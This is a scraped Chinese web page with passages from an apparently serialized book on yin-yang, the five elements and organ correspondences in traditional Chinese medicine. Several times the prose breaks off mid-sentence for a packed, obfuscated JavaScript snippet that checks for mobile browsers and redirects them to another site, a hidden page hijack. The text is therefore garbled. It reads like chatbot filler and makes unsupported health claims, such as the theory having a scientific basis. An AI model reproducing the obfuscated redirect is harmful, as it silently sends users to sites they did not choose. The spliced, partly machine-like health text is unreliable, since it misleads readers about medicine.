$(''.inform'').remove(); $(''#content'').append('' 季万物复苏，阳气生发，人体也应顺应这一趋势，养护肝气，促进气血的生发；夏季炎热，人体阳气旺盛，应养心阳，防暑降温；长夏（即夏末秋初）湿热交织，应健脾祛湿；秋季干燥，应养肺润燥；冬季寒冷，应养肾藏精，抵御寒冷。 而“四时之胜”则是指四时之间存在的相互制约、相互胜克的关系。具体来说，“春胜长夏”是因为春季阳气生发，能够克制长夏的湿热；“长夏胜冬”则是因为长夏的湿热能够消耗冬季的阴藏；“冬胜夏”是指冬季的阴藏能够抑制夏季的阳亢；“夏胜秋”是因为夏季的炎热能够驱散秋季的干燥；“秋胜春”则是因为秋季的干燥能够制约春季的湿邪。 这种四时之间的胜克关系，实际上体现了中医“五行相生相克”的理论。五行（金、木、水、火、土）分别对应着五脏（肺、肝、肾、心、脾）和五季（秋、春、冬、夏、长夏），它们之间存在着相生相克的关系，共同维持着人体的生理平衡。 从现代医学的角度来看，这种四时之胜的理论也具有一定的科学依据。例如，春季是病毒和细菌滋生的高发季节，容易引发各种传染病，这与中医理论中春季阳气生发、湿邪易生的观点相吻合；而夏季高温炎热，容易引发中暑、心血管疾病等，与中医理论中夏季阳亢、心火旺盛的观点相一致。 因此，了解和掌握四时之胜的理论，对于我们更好地顺应自然规律、养护身体健康具有重要的指导意义。在日常生活中，我们可以根据季节的变化来调整自己的饮食起居、锻炼方式等，以达到养生保健的目的。 这章没有结束，请点击下一页继续阅读！ 第4章 （2）揭秘人体各部位阴阳平衡：健康与养生的关键 在中医理论中，“精”被视为人体的根本，是构成生命活动的基本物质。这里所说的“精”，既包含了先天之精，即我们从父母那里继承的原始生命力，也包含了后天之精，即我们通过饮食水谷，经过脾胃的运化作用生成的精气。 “故藏于精者，春不病温”，这句话深刻揭示了春季养生之道。春季阳气升发，万物复苏，人体新陈代谢也加速。如果此时我们体内的精气充足且稳固，就能更好地适应这种变化，避免春季常见的温热类疾病。 “夏暑汗不出者，秋成风疟”，这句话则揭示了夏季养生与秋季疾病之间的联系。如果夏季因为某些原因（如体质虚弱、环境过于凉爽等）导致汗液无法正常排出，体内的湿邪就会积累。到了秋季，这种湿邪就可能引发风疟等疾病。这再次强调了人体内部环境平衡和协调的重要性。 在现代社会中，我们面临着快节奏的生活和巨大的压力，这些因素都可能影响到人体的精气状态。为了保持精气的充足和平衡，我们需要从多个方面入手。 合理饮食是关键。中医强调“食养”，我们应该根据自己的体质和季节变化，选择适合自己的食物，避免偏食和暴饮暴食，以保证精气的充足供应。 适当的运动也很重要。中医讲究“动静结合”，适当的运动可以促进气血的流通，加速新陈代谢，有助于排除体内的湿邪和毒素，保持精气的平衡状态。 良好的作息习惯也是必不可少的。人体内部有一个自然的生物钟，我们应该顺应这个生物钟，保证充足的睡眠和休息，避免熬夜和过度劳累，以保证精气能够得到充分的补充和恢复。 心态的平和也是保持精气平衡的重要因素。中医强调“心静自然凉”，心态的平和有助于调节人体的内分泌和神经系统，减少精气的消耗和流失。我们应该学会调整自己的心态，避免过度焦虑和压力过大。 “故曰：阴中有阴，阳中有阳。故人亦应之”，这句话来源于中国古代的哲学思想，这句话阐述的是一种对自然界和人体内部平衡关系的深刻理解。 在中医和道家哲学中，“阴”和“阳”是两种对立而又统一的基本力量。它们存在于宇宙万物之中，包括人体。阴代表了寒冷、湿润、静止、内在等特性，而阳则代表了炎热、干燥、运动、外在等特性。然而，这种对立并不是绝对的，而是相互依存、相互转化的。 “阴中有阴，阳中有阳”表达的是这种相互依存和转化的关系。在阴的层面，也存在着更细微的阴阳变化；在阳的层面，也同样存在着更细微的阴阳变化。这种变化是无穷无尽的，构成了宇宙万物的复杂性和多样性。 “故人亦应之”则是指人体也应该遵循这种阴阳变化的规律。人体内部的各个器官、组织、细胞等都存在着阴阳的对立统一关系。例如，在中医理论中，心脏被认为是阳中之阳，因为它主血脉、司神明，具有推动和温煦的作用；而肾脏则被认为是阴中之阴，因为它主水液代谢、藏精生髓，具有滋润和收藏的作用。 因此，保持人体内部的阴阳平衡是维护健康的关键。如果阴阳失衡，就会导致各种疾病的发生。例如，阴虚则会导致火旺，表现为口干舌燥、心烦失眠等症状；阳虚则会导致寒症，表现为畏寒怕冷、四肢不温等症状。 “阴中有阴，阳中有阳。故人亦应之”这句话告诉我们，要深入理解宇宙和人体的本质，就必须把握阴阳对立统一的关系，并在日常生活中努力保持这种平衡。 中医的阴阳理论，这一理论是中医理论体系中的重要组成部分，用以阐述人体与自然界的相互关系，以及人体内部结构的平衡与失衡。 “夫言人之阴阳，则外为阳，内为阴。”这是指人体在整体上，外部属于阳，内部属于阴。这是因为人体的外部直接与外界环境接触， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428606|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到阳光、空气等外部因素的影响，具有活动、开放的特性，故属于阳；而人体的内部则相对封闭，具有储存、内敛的特性，故属于阴。 “言人身之阴阳，则背为阳，腹为阴。”这是因为人体的背部朝向阳光，接受太阳的照射，故属于阳；而腹部则相对隐蔽，接受阳光照射较少，故属于阴。 再来看“言人身之脏腑中阴阳，则脏者为阴，腑者为阳。”在中医理论中，脏是指心、肝、脾、肺、肾等五个实质性器官，它们主藏精气，具有储藏、滋润、濡养等静态功能，故属于阴；而腑则是指胃、胆、大肠、小肠、膀胱、三焦等六个空腔性器官，它们主传化物，具有传导、排泄等动态功能，故属于阳。 “欲知阴中之阴，阳中之阳者”是指在这些阴阳分类中，还有更细致的划分。例如，在背部（阳中之阳）中，心位于上，位置最高，功能最为重要，故被称为“阳中之阳”；而肺则位于心之下，功能稍次，被称为“阳中之阴”。在腹部（阴中之阴）中，肾位于下，储藏精气，为先天之本，故被称为“阴中之阴”；肝位于肾之上，主疏泄，调节气机，被称为“阴中之阳”；而脾则居中，主运化，为后天之本，被称为“阴中之至阴”。 “冬病在后阴，夏病在阳，春病在阴，秋病在阳”，这是中医根据四时变化对人体疾病的影响所做 的总结。冬季天气寒冷，寒气易侵袭人体下部，导致后阴（如腰部、腿部等）的疾病；夏季天气炎热，阳气盛于外，易导致人体阳分疾病；春季阳气初生，阴气未退，易导致阴分疾病；秋季天气干燥，阳气渐收，但仍有余热，易导致阳分疾病。 在治疗上，中医强调根据阴阳的失衡情况进行调和，通过针灸、药物等方法来纠正阴阳的偏盛偏衰，恢复人体的阴阳平衡。这体现了中医“治病必求于本”的治疗原则，即通过调整人体的内在环境，来达到治疗疾病的目的。 第4章 （3）五行无色与脏腑：中医养生的秘密武器 “五脏应四时，各有悠受乎”这句话出自中医的“天人相应”理论，指的是人体的五脏与自然界中的四季变化相互对应，相互影响。这里所说的“悠受”，可以理解为“承受”或“适应”之意。 在中医理论中，春季属木，与肝脏相应，肝主疏泄，喜条达，恶抑郁。春季万物复苏，生机勃勃，肝气亦应疏泄条达，以应春气之生发。若肝气郁结，则会导致一系列疾病的发生。 夏季属火，与心脏相应，心主血脉，藏神。夏季天气炎热，人体代谢旺盛，心阳亦应旺盛，以推动血脉运行，滋养全身。若心阳不足，则会导致血脉不畅，神失所养。 秋季属金，与肺脏相应，肺主气司呼吸，主宣发肃降。秋季气候干燥，肺亦应顺应秋气之收敛，以滋养阴液，保持肺气清肃。若肺气宣降失常，则会导致咳嗽、气喘等症状。 冬季属水，与肾脏相应，肾主藏精，主水液代谢。冬季天寒地冻，万物收藏，肾亦应藏精纳气，以滋养五脏六腑。若肾精不足，则会导致腰膝酸软、畏寒肢冷等症状。 “五脏应四时，各有悠受乎”这句话揭示了人体与自然界的密切联系，强调了顺应四时变化，养护五脏的重要性。在日常生活中，我们应根据四季变化的特点，调整饮食起居，保持良好的生活习惯，以维护身体健康。 “东方青色，入通于肝，开窍于目，藏精于肝”这句话出自中医的五行理论，它描述了人体与自然界的对应关系，特别是肝脏与东方青色、目、筋等元素的联系。 从中医的角度来看，肝脏属于木，与东方青色相对应。木性生长、条达，肝主疏泄，调畅气机，所以与东方青色的生长、发育的特性相吻合。肝脏开窍于目，意味着肝脏的健康状况会直接影响到眼睛的功能。如果肝脏出现问题，比如肝气郁结，就可能导致眼睛干涩、视物模糊等症状。 “藏精于肝”表明肝脏在人体内扮演了储藏精气的角色。这里的“精”指的是人体内的生命精华，包括先天之精和后天之精。肝脏通过疏泄和储藏的功能，维持着人体内精气的平衡。 “其音角，其数八”是中医五音、五数理论的体现。角音属于木音，与肝脏相应，具有舒畅、条达的特性。而八则是与木相应的数字，也与肝脏有密切关系。 “是以知病之在筋也，其臭臊”进一步阐述了肝脏与筋、臭的关系。肝主筋，肝血充盈则筋得所养，运动灵活而有力。如果肝脏出现问题，就可能导致筋脉拘挛、屈伸不利等症状。而“其臭臊”则是指肝脏病变时，可能会散发出一种特殊的气味，类似于臊味。 “东方青色，入通于肝，开窍于目，藏精于肝”这句话揭示了肝脏在人体内的重要地位和作用，以及与自然界中东方青色、目、筋等元素的密切联系。通过了解和掌握这些中医理论，我们可以更好地理解和调理肝脏的健康状况。 “南方赤色，入通于心，开窍于耳，藏精于心，故病在五脏”这一说法，其实我们需要对其进行一些辨析和澄清。 “南方赤色，入通于心”是中医五行理论中的一部分。在五行理论中，南方对应火，火色为赤，而心脏则与火相应。这一说法强调了心脏与南方、赤色的关联，意味着心脏的健康与火、南方的能量场有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428607|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关联。 “开窍于耳”这一说法在中医理论中并不常见。通常，我们听说的是“心开窍于舌”，这是因为心的经脉与舌相连，心的气血上通于舌，所以心的功能可以从舌的色泽及言语流利与否等方面反映出来。所以，“开窍于耳”可能是个误传或者特定的流派观点。 “藏精于心”这一说法也值得探讨。在中医理论中，心确实与“神”有密切关系，心主血脉，而血脉是神志活动的物质基础，所以心藏神。但“藏精”通常与肾相关，因为肾主藏精，是生命的根基。不过，从广义上说，心作为“君主之官”，也的确有“藏”的功能，这里的“精”可以理解为“心神”、“心气”等。 至于“故病在五脏”这一结论，虽然有些笼统，但也并非完全无据。因为中医强调“心为五脏六腑之大主”，心主血脉，而血脉又遍布全身，联系着五脏六腑。所以，心脏的功能异常确实可能影响到其他脏腑的功能。但这并不意味着所有五脏的疾病都源于心，而是说心脏的健康状态对其他脏腑有重要影响。 “南方赤色，入通于心，开窍于耳（应为舌），藏精于心（广义理解），故病在五脏”这一说法在中医理论中有其依据，但也存在一些需要澄清和探讨的地方。在理解和应用中医理论时，我们需要保持审慎和开放的态度，既要尊重传统，又要勇于创新。 在中医的五行理论中，“中央黄色，入通于脾，开窍于口，藏精于脾”是描述脾脏与自然环境、人体部位之间的密切联系的经典说法。下面我将逐一解释这些概念。 这章没有结束，请点击下一页继续阅读！ 第4章 （4）五脏与五色五畜五音六腑…：解密体质之谜的钥匙 五行，作为中国古代哲学的一个重要概念，描述了宇宙间万物相互关联和变化的一种理论。五行包括金、木、水、火、土五种元素，它们之间存在着相生相克的关系。 我们来说说五行的相生关系。相生，指的是五行之间的一种促进和助长的关系。具体来说，五行的相生关系如下： 1. 木生火：木具有生长、发芽的特性，而火则具有炎热、向上的特性。木的生长为火提供了物质基础和能量来源，因此说木生火。 2. 火生土：火具有焚烧、熔炼的特性，而土则具有承载、孕育的特性。火焚烧后产生的灰烬，最终会转化为土，因此说火生土。 3. 土生金：土具有厚重、稳定的特性，而金则具有坚硬、收敛的特性。土中蕴藏着各种矿物质，是金属的来源，因此说土生金。 4. 金生水：金具有坚硬、寒冷的特性，而水则具有流动、寒冷的特性。金属在寒冷的环境中容易产生露珠或水汽，因此说金生水。 5. 水生木：水具有滋润、生长的特性，而木则具有生长、发芽的特性。水为木提供了生长所需的水分和营养，因此说水生木。 以上便是五行的相生关系，它体现了宇宙间万物相互关联、相互促进的哲学思想。这种思想在中国古代哲学、医学、占卜等领域都有广泛的应用。 五行相克关系，作为中国古代哲学中的又一重要概念，它描述的是五行元素间相互制约、相互抑制的关系。 具体来说，五行的相克关系如下： 1. 木克土：木具有生长、扩张的特性，而土则具有承载、稳定的特性。木的生长会破坏土的稳定性，使之松散，因此说木克土。 2. 土克水：土具有厚重、稳定的特性，而水则具有流动、湿润的特性。土能够阻挡水的流动，使水无法肆意泛滥，因此说土克水。 3. 水克火：水具有滋润、冷却的特性，而火则具有炎热、向上的特性。水能够扑灭火的燃烧，使之熄灭，因此说水克火。 4. 火克金：火具有焚烧、熔炼的特性，而金则具有坚硬、收敛的特性。火能够熔化金属，使其失去原有的形态和质地，因此说火克金。 5. 金克木：金具有坚硬、寒冷的特性，而木则具有生长、发芽的特性。金属能够砍伐树木，阻碍其生长，因此说金克木。 这种相克关系体现了五行间相互制约、相互平衡的理念。在中国古代，五行相克的思想被广泛应用于医学、农业、军事等领域，指导人们如何根据五行原理来调和身心、顺应自然。 希望这个回答能够帮助你理解五行的相克关系。 关于五脏与方位的关系，这是中医理论中“五行学说”在人体脏腑经络学说中的具体运用。在中医理论中，五脏（心、肝、脾、肺、肾）与方位（东、南、中、西、北）之间存在一种微妙的对应关系。 具体来说，五脏与方位的对应关系如下： 1. 心属火，位于南方：火具有炎热、明亮的特性，与心主血脉、主神明的功能相契合。南方是阳光最强烈的地方，与心的阳热之性相呼应。 2. 肝属木，位于东方：木具有生长、升发的特性，与肝主疏泄、调畅气机的功能相协调。东方是太阳升起的地方，代表着新生与希望，与肝的疏泄功能相呼应。 3. 脾属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428608|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土，位于中央：土具有承载、孕育的特性，与脾主运化、统摄血液的功能相符。中央位置具有统摄全局的作用，与脾在五脏中的核心地位相契合。 4. 肺属金，位于西方：金具有坚硬、沉降的特性，与肺主气、司呼吸、通调水道的功能相协调。西方是日落之地，代表着沉降与收敛，与肺的肃降功能相呼应。 5. 肾属水，位于北方：水具有滋润、寒冷的特性，与肾主藏精、主水液代谢的功能相符。北方是寒冷之地，与肾的阴藏之性相呼应。 这种五脏与方位的对应关系，不仅体现了中医理论中“天人合一”的思想，也指导着中医在诊断和治疗疾病时的实践。例如，在针灸治疗中，会根据病变脏腑的五行属性来选择相应的穴位和针刺方法，以达到调和阴阳、疏通经络的目的。 希望这个回答能够帮助你理解五脏与方位的关系。 五脏与五音的关系，是中国古代医学中五行学说在人体健康领域应用的一个重要方面。五音，即宫、商、角、徵、羽，与五脏（心、肝、脾、肺、肾）之间存在紧密的对应关系。下面我将详细解释这种关系： 1. 宫音与脾 宫音旋律清静幽雅、淳厚庄重，与五行中的土相对应。 在五脏中，土对应于脾，因此宫音能够助脾健运、消食化痰，反映脾的功能。 2. 商音与肺 商音旋律铿锵宏伟、高亢有力，与五行中的金相对应。 在五脏中，金对应于肺，因此商音能够宣降肺气，安宁人心，反映肺的功能。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第5章 《阴阳印象大论：揭秘古代哲学之精髓》 《阴阳印象大论：揭秘古代哲学之精髓》这本书，听起来就像是一部深入探索中国古代哲学奥秘的巨着。阴阳，作为中国古代哲学的重要概念，贯穿了中医、天文、地理、军事等多个领域，其影响深远而广泛。 阴阳理论的核心在于揭示宇宙间万物的对立统一关系。简单来说，就是宇宙间万事万物都可以被划分为阴和阳两个方面，而这两个方面又相互依存、相互转化。比如，在自然界中，白天为阳，夜晚为阴；在人体中，体表为阳，体内为阴。阴阳的消长变化，构成了宇宙间万物的生长、成熟、衰老和消亡的过程。 这本书《阴阳印象大论：揭秘古代哲学之精髓》或许就是从这些基本的阴阳理论出发，深入探讨了其在古代哲学、中医、天文等领域的应用和发展。它可能会带领我们穿越历史的长河，回到那个充满智慧和哲思的古代世界，去感受那些伟大的哲学家、医学家、天文学家们是如何运用阴阳理论来解释世界、治疗疾病、预测天象的。 当然，作为一部探讨古代哲学的书籍，它可能会涉及到一些深奥难懂的概念和理论。但是，我相信只要我们有足够的耐心和好奇心，就一定能够从中汲取到丰富的知识和智慧。毕竟，阴阳理论作为中国古代哲学的精髓之一，其内涵之丰富、应用之广泛，值得我们每一个人去深入了解和探索。 阴阳，作为中国古代哲学的一对基本概念，确实具有多重的含义和应用领域。当我们说“阴阳既指天地四时阴阳，又指人体阴阳”时，实际上是在探讨这一哲学思想在不同领域的体现。 首先，从天地四时的角度来看，阴阳主要用来描述宇宙间万物的变化规律。在中国传统文化中，阴阳被认为是天地之根本，万物之宗祖。它代表了宇宙中两种相互对立而又相互依存的力量，如天地、日月、昼夜、寒暑、男女等，都可以归纳为阴阳的范畴。阴阳的消长变化，构成了宇宙间万物的生长、成熟、衰老和消亡的过程。 其次，从人体的角度来看，阴阳则用来描述人体内部的生理结构和功能状态。在中医理论中，阴阳被用来解释人体的生理和病理现象。人体的各个器官、组织、细胞等，都可以根据阴阳的属性进行划分。例如，人体的上半身为阳，下半身为阴；体表为阳，体内为阴；背部为阳，腹部为阴等。同时，人体的生理功能也可以归纳为阴阳的范畴，如兴奋与抑制、亢进与衰退、亢进与衰弱等。 在中医看来，人体的健康状态取决于阴阳的平衡。当阴阳平衡时，人体的生理功能正常，表现为精力充沛、面色红润、食欲旺盛等；而当阴阳失衡时，人体的生理功能就会受到影响，表现为各种疾病症状。因此，中医在治疗疾病时，非常重视调整阴阳的平衡，通过药物、针灸、按摩等手段，来恢复阴阳的和谐统一。 总之，阴阳作为中国古代哲学的一对基本概念，不仅具有深厚的哲学内涵，而且在医学、天文、地理等领域都有广泛的应用。通过了解阴阳的含义和应用领域，我们可以更好地理解中国传统文化和中医理论的精髓。 当我们谈论“象”这个概念时，我们实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428609|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际上是在探讨一个涉及中国古代哲学、文化和自然科学等多个领域的深刻议题。在中国古代哲学中，“象”通常指的是自然界万事万物的各种现象，这些现象既是物质世界的客观存在，也是人们感知和认识世界的基础。 从泛知识类问题的角度来看，“象”这一概念在中国古代哲学中有着重要的地位。它不仅仅是物质世界的直观呈现，更是人们对宇宙、自然、社会、生命等复杂现象进行归纳、总结和理解的基本范畴。例如，在《周易》中，“象”被用来解释卦象，通过卦象的变化来预测吉凶祸福，揭示事物发展的规律。 当然，在现代科学的语境下，“象”也可以被理解为自然界中的各种现象，如物理现象、化学现象、生物现象等。这些现象都有其自身的规律和特点，我们可以通过观察和实验来认识它们，进而理解整个自然界的运作方式。 不过，值得注意的是，中国古代哲学中的“象”与现代科学中的“现象”虽然有一定的相似性，但它们的内涵和解释方式却有所不同。在中国古代哲学中，“象”更多的是一种象征和隐喻，它不仅仅是物质世界的直观呈现，更是人们对宇宙、自然、社会、生命等复杂现象进行归纳、总结和理解的工具。而现代科学则更注重对现象本身的客观描述和解释，通过实证研究和实验验证来揭示事物的本质和规律。 综上所述，“象”作为一个涉及多个领域的概念，其内涵丰富而深刻。我们可以从不同的角度来理解和探讨它，以更全面地认识和理解自然界和人类社会。 第5章 （1）阴阳之道：探索人体内外与自然的和谐共生 首先，我们要理解这句话“阴阳者，天地之道也，万物之纲纪，变化之父母，生杀之本始，神明之府也。治病必求于本。”它出自中国古代医学经典《黄帝内经》，是对阴阳理论的高度概括和阐述。 阴阳，是中国古代哲学的一对重要范畴，代表宇宙中相互关联的事物或现象对立双方的概括，代表两个相互对立又相互作用的力量。在中医理论中，阴阳被用来解释人体生理、病理的各种现象，指导疾病的预防和治疗。 “天地之道也”，说明阴阳是自然界的根本法则，天地万物的产生、发展、变化都遵循阴阳的规律。 “万物之纲纪”，意味着阴阳是万事万物的纲领和总原则，所有事物的属性和运动方式都可以从阴阳的角度来理解。 “变化之父母”，意味着阴阳的相互作用和转化是事物变化发展的根本原因。 “生杀之本始”，表明阴阳的运动和变化决定了生命的诞生和消亡。 “神明之府也”，这里的“神明”可以理解为宇宙间一切神秘、高深的规律或力量，阴阳是这些规律或力量的载体和表现。 “治病必求于本”，则强调了中医治病的根本原则，即必须探求疾病的根本原因，从阴阳失调的根源入手，调整阴阳的平衡，从而达到治愈疾病的目的。 这句话深刻阐述了阴阳在自然界和人体中的重要作用，以及中医治病的基本原则，即追求阴阳的平衡与和谐。 天地者，万物之上下也；阴阳者，血气之男女也；左右者，阴阳之道路也；水火者，阴阳之征兆也；阴阳者，万物之能始也。 这句话出自中国古代的哲学思想，是对天地、阴阳、左右、水火等自然现象和抽象概念的深入解读。以下是我对这些概念的理解： “天地者，万物之上下也。”这句话揭示了天地的空间属性，它们构成了万物存在的物理空间，是万物生长、发展的场所。 “阴阳者，血气之男女也。”这里，阴阳被用来比喻人体的气血和男女。在中医学中，阴阳被视为人体生命活动的基本规律，气血则是构成和维持人体生命活动的基本物质。男女性别的差异，也可以从阴阳的角度来理解，男性通常被视为阳刚之气，女性则被视为阴柔之气。 “左右者，阴阳之道路也。”左右是方位的概念，但在这里被赋予了阴阳的属性。左右可以看作是阴阳相互转化、相互作用的途径或道路。在自然界和人体中，阴阳的相互转化和平衡是通过各种途径来实现的，而左右正是这些途径之一。 “水火者，阴阳之征兆也。”水火作为自然界中的两种基本元素，具有明显的阴阳属性。水象征着阴柔、寒凉，火则象征着阳刚、温热。它们的变化和相互作用，反映了阴阳的消长变化。因此，水火可以看作是阴阳变化的征兆或表现。 “阴阳者，万物之能始也。”这句话强调了阴阳在万物生成和发展中的决定性作用。万物之所以能够产生、发展和变化，都离不开阴阳的相互作用和平衡。阴阳的相互转化和平衡是万物生长、发展的根本动力。 通过对天地、阴阳、左右、水火等自然现象和抽象概念的解读，揭示了它们之间的内在联系和相互作用。这些概念不仅是中国古代哲学思想的重要组成部分，也为我们理解自然界和人体生命活动提供了深刻的启示。 故曰：阴在内，阳之守也；阳在外， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428610|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴之使也。深入阐述了阴阳在人体内的相互关系和作用。 “阴在内，阳之守也”，这句话可以理解为阴是阳的内在基础，是阳的守护和支撑。在人体中，阴代表着物质基础，如血液、津液等，这些物质为人体提供了生命活动所必需的营养和能量。阳则是人体的生命活力，是推动生命活动的力量。当阴精内守时，阳气就能得到充分的滋养和补充，从而保持旺盛的生命力。 “阳在外，阴之使也”，这句话则强调了阳在人体中的重要作用，它是阴的使者，负责将阴精转化为生命活动所需的能量。在人体中，阳气能够推动气血的运行，促进新陈代谢，维持体温等。当阳气充足时，阴精就能得到充分的利用和转化，从而保持人体的健康状态。 这句话还体现了阴阳相互依存、相互为用的关系。阴阳二者既不能分割，也不能孤立存在，它们相互依存、相互为用，共同维持着人体的生命活动。在人体中，阴阳二气是时刻在不断地消长和转化的，但这种消长和转化必须保持在一个相对平衡的状态，才能维持人体的健康。 这句话通过阐述阴阳在人体内的相互关系和作用，强调了阴阳平衡对人体健康的重要性。在现代医学中，我们也可以看到类似的观点，即人体的健康需要保持各种生理指标的平衡和稳定。因此，我们应该注重调节阴阳平衡，保持身体的健康状态。 “阴阳者，天地之道也，万物之纲纪，变化之父母，生杀之本始，神明之府也。治病必求于本。”这句话出自《黄帝内经》，是对阴阳理论在宇宙万物中的核心地位与作用的经典阐述。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第5章 （2）阴阳学说下的气味奥秘：探寻二者间的微妙联系 在中医理论中，“阳为气，阴为味，味归形，形归气，气归精，精归化”这一表述，深刻揭示了人体内物质与能量相互转化、相互依存的复杂关系。 “阳为气”，这里的“阳”指的是具有温暖、活跃、向上等特性的物质或能量，而“气”则是这种物质或能量在人体内的表现形式。气在人体中无处不在，是推动人体生命活动的基本动力。 接着，“阴为味”，这里的“阴”与“阳”相对，指的是具有寒凉、沉静、向下等特性的物质或能量。“味”则是指食物或药物中的营养物质和药效成分。这些物质或能量进入人体后，会被转化为人体所需的营养物质和能量，以维持人体的正常生理功能。 “味归形，形归气”，这两句话描述了物质与能量在人体内的转化过程。食物或药物中的“味”（即营养物质和药效成分）被人体吸收后，会转化为“形”（即人体的组织和器官）。而人体的组织和器官又是由“气”所构成和维持的。因此，“形”的生成和维持都离不开“气”的作用。 “气归精”，这里的“精”是指人体内的精华物质，包括先天之精和后天之精。先天之精来源于父母遗传，后天之精则来源于饮食水谷的滋养。气在人体内循环流动，将营养物质输送到全身各处，同时也将各脏腑器官产生的代谢废物排出体外。在这个过程中，气会不断地将营养物质转化为“精”，以滋养人体的脏腑器官和维持人体的生命活动。 “精归化”，这里的“化”是指转化、变化的意思。在中医理论中，“精”不仅是人体内的精华物质，同时也是一种能够转化为其他物质或能量的原始物质。当人体需要时，“精”可以被转化为气、血、津液等其他物质或能量形式，以支持人体的各种生理功能。 “阳为气，阴为味，味归形，形归气，气归精，精归化”这一表述，深刻揭示了人体内物质与能量相互转化、相互依存的复杂关系。这种关系是人体生命活动得以维持和发展的重要基础。 “精食气，形食味，化生精，气生形。味伤形，气伤精。精化为气，气伤于味”这一论述，源于中医的养生与疾病理论，它详细阐述了人体内部精气与饮食之间的关系。 “精食气，形食味”，这里的“精”指的是人体的精华物质，如肾精、骨髓精等；“气”则是人体内的生命能量，它推动着人体的各种生命活动；“形”指的是人体的形态结构，包括五脏六腑、四肢百骸等；“味”则是指食物中的五味，即酸、苦、甘、辛、咸。这句话的意思是，人体的精华物质依赖于气的滋养，而人体的形态结构则需要食物的滋养。 “化生精，气生形”，这里进一步解释了精气与形体的关系。人体的精华物质是由气所化生的，而气又是通过食物中的营养物质转化而来的。同时，气也推动着人体的生长发育，使形体得以成长和维持。 这种平衡关系也容易被打破。“味伤形，气伤精”，这句话的意思是，如果饮食过于偏颇或过量，就会对形体造成伤害，如肥胖、瘦弱等；同时，不良的情绪或生活习惯也会伤害气，进而影响到精华物质的生成和储存。 “精化为气，气伤于味”，这句话则揭示了精气之间的转化关系以及味对气的伤害。人体的精华物质可以转化为气，以维持生命活动的需要；但是，如果食物中的五味过于偏颇或过量，就会对气造成伤害，从而影响到精气之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428611|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的平衡。 因此，在日常生活中，我们应该注意合理饮食，保持五味均衡，避免偏食或暴饮暴食；同时，也要保持良好的生活习惯和情绪状态，以养护体内的气和精。这样，才能保持身体的健康和平衡。 “阴味出下窍，阳气出上窍”以及“味厚者为阴，薄为阴之阳；气厚者为阳，薄为阳之阴”这两句话，是中医理论中对于阴阳、气味与人体生理机能之间关系的描述。 